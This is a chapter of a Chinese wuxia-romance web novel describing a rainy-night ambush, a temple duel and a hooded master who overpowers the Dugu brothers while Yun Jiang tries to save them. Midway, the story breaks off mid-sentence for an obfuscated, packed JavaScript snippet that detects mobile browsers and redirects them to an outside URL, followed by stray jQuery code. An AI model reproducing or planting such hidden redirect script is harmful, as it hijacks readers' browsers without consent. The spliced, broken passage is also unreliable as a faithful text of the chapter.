64. 神像无泪
作品:《护驾!陛下又沦陷修罗场》 暴雨,惊雷,长风贯。
五月初,接连雨。
官道上亦泥泞不堪,重重马蹄溅起水花,一队人奔袭过去,领队之人一袭云锦,头戴金冠,面色冷厉。
本来两三个月才能到的送亲路程,竟然火急火燎地赶在入冬之前就来了!
或许这也是奉朝威慑秀朝的一种手段,大使团长途奔袭,竟然不过一月左右,速度十分惊人,可见奉朝水师强横,顺风顺水时简直能够长驱直入,斩杀沅陵全城于睡梦之中。
前头忽而巨影摇晃,一截孤木猛地倒塌,阻断去路。
伴随惊雷轰顶,骏马烦躁地甩头,不断踏蹄,众人紧张不安地张望,四周渐渐浮出黑影,拔刀的冷光不经意划过眼膜,绷紧心弦。
巨木后慢慢响起一阵踏水声,噼啪噼啪尤其诡异。
独孤无忧眼眸一眯,冷冷盯向前头,下巴凝聚的水迹砸向马鞭。
“噼啪噼啪”细细密密,来人原来撑着一把纸伞,她身形轻盈,笑意娇媚,腰上一把软剑,十分眼熟。
是她。
白马寺行刺,身上带血毒的黑衣女首领。
雨水淋湿漆黑长眉,衬得独孤无忧眸光愈发冰冷,他并未多言,抽出腰佩断雪,直指黑衣女子。
豆大雨水打在雪亮长剑上,击出剑音,气氛焦灼得诡异,雨水中混进一段莫名箫声,声声吹息,似夺命催魂。
那黑衣女子瞥了一眼被人团团护住的云姜,轻轻一笑,收拢纸伞——
“快!世子殿下就在前头!追上!”
官道上,另一队人快马加鞭,穿过雨夜。
坐在马车里的人闭目凝神,神情微有不耐,白芨揣着袖子,眉头皱得极紧,严肃地盯着对面这人。
“前头有火光!应该是殿下!”
“王爷!”
由远及近的禀报带着粗重喘息,来人浑身湿透,语气惶恐:“王爷,是世子殿下的队伍!他们,他们遭到截杀了!”
夜雨滂沱,打着的火把几乎被浇灭,一眼过去,满地尸首,雨水将血水冲淡,一直蔓延到靴前。
纸伞下,白玉发冠轻晃,他一巡,凌厉剑气正是斩向林中。
白芨执着纸伞还未出声,含霜一掠而过,震住了他喉中言语。他难得怔了一瞬,才暴怒似地一甩纸伞,厉声呵斥:“废物,立刻追上王爷!”
“云姜小姐,先藏到庙里去。”
雷电道道,一处荒野小庙大开,四周空空荡荡,唯独伫立的龙女像冷眼旁观。
因追杀走散的云姜精疲力竭,她同四名贴身护卫好不容易逃出林中,现下已辨不清方向。方才独孤无忧独自引走那名女首领,命人护她先行,此时那些刺客与自己人皆无踪迹。
为什么会有洛塘人来这里诛杀独孤无忧?
自那日出逃被抓回府邸,还没有歇上一口气,独孤无忧又突然将她带出府邸,更连夜启程奔赴沅陵,甚至为了赶在奉朝使团抵达之前抢到陵渡,他一路轻装简行,将清缘王与南穆王遥遥甩在后头。
不过,昨日信说清缘王正在追赶路上,接亲使团也由南穆王约束,出了春京。
眼下兵分三路,他落了单,的确是刺杀的好时机,可好就好在太凑巧,必有内应才能精确掌握行踪。
到底谁和洛塘联手?又是谁三番五次杀他?
云姜还未忖度清楚,刚踏入庙门就有一丝暗香袭来,幽幽咽咽。她辨明瞬间浑身发冷,僵硬得一动不动。
那香似一股无形威压,从她身边穿过的刹那,四名护卫应声倒地。
一支冰冷的萧轻抵在她的下巴上,暗处的人慢慢走出,在雷电的照耀下,只见他头戴黑色兜帽,看不清面容,唯独衣白胜雪。这人微微一笑,嗓音透凛如雪松:“小丫头,你还活着,命大。”
那一丝暗香……这暗香的主人,是他!
云姜又惊又怒,一股无法言喻的骇与颤封住她的喉咙,让她发不出一点声音。脑海一片空白,像被抽离了魂魄,只剩下本能争先恐后地叫嚣,杀了他,杀了他!会死,不,杀了他……僵硬的身体不听使唤,唯独手指下意识蜷曲,一点锐光闪现在指缝。
蓄力刹那,身后突然传来一道微哑的声音:“阁下是谁?”
兜帽人轻声叹息,他来得这样快。
是无忧。
他的剑被雨水冲刷得锃亮,血与水一起从握剑的手指流下。
耳畔倏地一震,是惊雷,是剑势,那一丝暗香抽离出去,两人交错在一起。云姜蹲身捂住耳,强大的剑气凌空化波,震痛她的耳膜。
两人在龙女像前缠斗得厉害,这兜帽人身手凌厉,一招一式模仿独孤无忧的青璇剑法,一把长萧比剑更得心应手,更故意将长萧背身,戏弄人一样,每次都堪堪避过。
庙内狭窄,剑气易伤无辜,独孤无忧余光一敛,正要引诱他出去,这兜帽人突然长萧拨剑,点向他的胸口,他迅速一闪,谁知兜帽人是虚晃一招,一记膀手冲身将他打飞出去。
握剑的手微微发颤,独孤无忧眼中惊疑不定,不过一会儿,他竟然寻到了青璇剑法的破绽!
他错剑一划,却突然提不上气,这兜帽人嗤笑一声,趁着剑势回身的瞬间,五指成爪,擒扣后将他狠狠踢跪在地。
断雪“叮咛”一声跌在地上。
云姜看不清情势,正要起身却听独孤无忧呼吸闷窒:“别过来!”
兜帽人踩着他的腿弯,扬眉一笑,一手扣颈,一手掰着他的下巴将他往后折,眼睁睁看他眼眸洇出血丝,一寸寸骇红。
“这种滋味如何?”
腥辣的血气溺涌上来,幼时绝望的情形历历在目,一刹旧事重现,独孤无忧忍着膝上剧痛,攥住这人手腕,哑声骂道:“我不是那个孩子!”
气浪掀起时,兜帽人被陡然震开,连云姜也被震倒在地。独孤无忧遽烈咳嗽,被反噬的内力冲出一口血,他抽起断雪,还未提力,兜帽人忽而讥笑一声,一袖抽在他的脸上,他霎时破摔出去,撞得门板轰响。
“独孤无忧!”
云姜还没过得去,颈就被人捉住,一袖暗香丝丝袅袅,唤起人的厌与惧。兜帽人正要盘问,一道劲风袭过,二指如电挟住了她出手的右腕。
云姜吃痛,不禁低哼一声,原来她的指间藏了一支绣花针,现在离他颈,不过半寸。
颈上指倏地扣入皮肉,深得遏制脉搏,兜帽人轻蔑至极:“想杀我?”
“你到底……是谁?”
兜帽人一掠昏死过去的独孤无忧,语气淡淡:“不如猜猜看?”他说着却慢慢将她提起,残忍笑道,“但是小丫头,我不给你这个机会。”
脚尖离地的瞬间,云姜不自觉抠着他的手腕,却使不出力气,只能痛苦扯拽。
他极高大,极强悍,犹如不可战胜的神。
这种狠烈到榨干气息的威压比她见过的任何人都强,目空一切,绝不留情。
透不过气。
是绝对的力量与悍然,携带死亡的阴影。
兜帽人见她满脸发紫,提不上半口气,只能像濒死的鱼那样无措地张着嘴,脆弱地不断抓挠,笑得十分残忍。
那笑声越来越放肆,越来越狰狞,带着暴虐的愉悦。
她眼前绚过一段白光,又慢慢陷入黑暗,临死前,她看到龙女像流出了血泪,才知是幻觉。
“放下她。”
雨水在庙瓦上连成线,就像截不断的一幅珠帘,拦离人间。
兜帽人一抬眼,越过重重雨水——来人白玉发冠,神情阴冷,手中握着一把纤长的剑,他认出来,是含霜。
他戏谑一松手,云姜登时摔倒在地,蜷缩挣扎,呛咳不止。
独孤长欢眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15910284|167409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
梢一递,看到重伤昏迷的无忧,又看向兜帽人。
一个接一个,来得好,来得齐全。
兜帽人嘴角勾起,嗓音清美得空澈:“有意思,他来了,你也来了。”
长欢眼眸一眯,旋即出手,两人应着群雷在庙前打斗,激烈异常。含霜似电,聚雨唤风,透着一股淡淡白光。
兜帽人一把长萧,对战时游刃有余,武学造诣出奇地高。他一面轻松避开剑气,一面讥笑:“青璇绝世,不过剑舞助兴,看来你们只学了皮毛。”
他借机跃回台阶,挑起断雪,品了品断雪剑光:“上好的剑,落在他手里不过如此,独孤长欢,你剑术虽高,却无天分,他有天分,却无心力。”
他玩弄似地绕了剑花,别起长萧,凛冽一笑。
独孤长欢神情凝重,却不言语,这兜帽人旋身一照,掌中断雪发出残光,气势如虹,陡然滞住雨水。长欢眼中微震,只见这兜帽人剑过之处,雨珠削裂,一招一式简单,似将周围之景放慢,如春风细雨,教天地无声。
错愕之际,眼前强光闪过,独孤长欢凭直觉挥剑,抵挡住那一刺。
血花殷红,绽放在他心口前。
兜帽人冷冷一笑,推出一掌。
犹如雷龙相撞,独孤长欢退后半步,捂住胸口,脸色苍白如纸。
庙门内,云姜好不容易摸到了独孤无忧那一处,一搭脉,发觉他实是情绪过激,被自己内力震伤。她又焦急地望向外头,然而夜雨越来越大,嘈杂得听不清战况。
不知是雷声,还是两人迎着雷声再次对轰一掌,长欢被击出去,凭借含霜才稳住身形,随后重重呕出一口血,眼神痛得发颤。
兜帽人飘然落地,立在台阶上,一瞥云姜和独孤无忧,就要再次出手。
下一刻,含霜携电飞来,势如千钧。
兜帽人猛地一避,衣袖“呲啦”一声被划开,一眼搭去,含霜正刺在龙女像上,地上已无身影。
他抬起眼帘,眸光凛冽刺骨,笑容却妖美。
天地之音雄伟壮阔,雨水冲打得人睁不开眼,一袭白衣揽着两人一路飞奔,就像被穷追不舍的猎物那样狼狈,穿梭林中时,云姜忽听他闷哼一声,似骤然脱力,三人齐齐坠落,朝树下摔去。
来不及反应,却觉头上一紧,原来是他护着他们摔倒在草丛里。
草深得扎脸,云姜勉力爬出独孤长欢的臂弯,发觉他气息沉重,断断续续,似乎犯了心疾。
她把他翻过来,让他透气,谁知他却握着她的手,哑声无力:“走。”
这时候谁也走不了,云姜四处摸他的衣裳,急急地问:“是旧疾犯了,你有药吗?”
他却避而不答,推了她一下:“不,别管我们,你藏起来。”
林中漆黑一片,风声雨声骤紧,黑暗之中,教人胸口呯呯直跳。
“主上,应该就在附近。”
两道人影应势落在林中,说话的是那名黑衣女首领,他们竟是一伙。
草丛里,云姜按着长欢和无忧,希望她拖动两人的痕迹不要被发现。独孤长欢极力忍耐着痛楚,手抓进了草根里,一声不吭。他眼神混乱,脸色惨白得将死,额上布满水迹,不知是雨水还是冷汗。
周围枝叶晃动的声响愈发清晰,愈来愈近,云姜心头狂击如擂鼓,死死地盯着那一处,听觉放到了最大。
到了眼前,旁边却突然跳出一只惊恐万分的野兔。黑衣女首领冷冷一笑,提起那只不知所措的野兔:“主上,恐怕没有在这里,是只兔子。”
她一面说着一面朝另一边走去,云姜刚放下心,颈后寒毛却突然竖起,如芒在背。
那个兜帽人不知什么时候落到他们身后,笑道,可不就在这里。
黑衣女首领转身一笑,随意丢掉野兔:“早就发现了。”
“等的就是你!”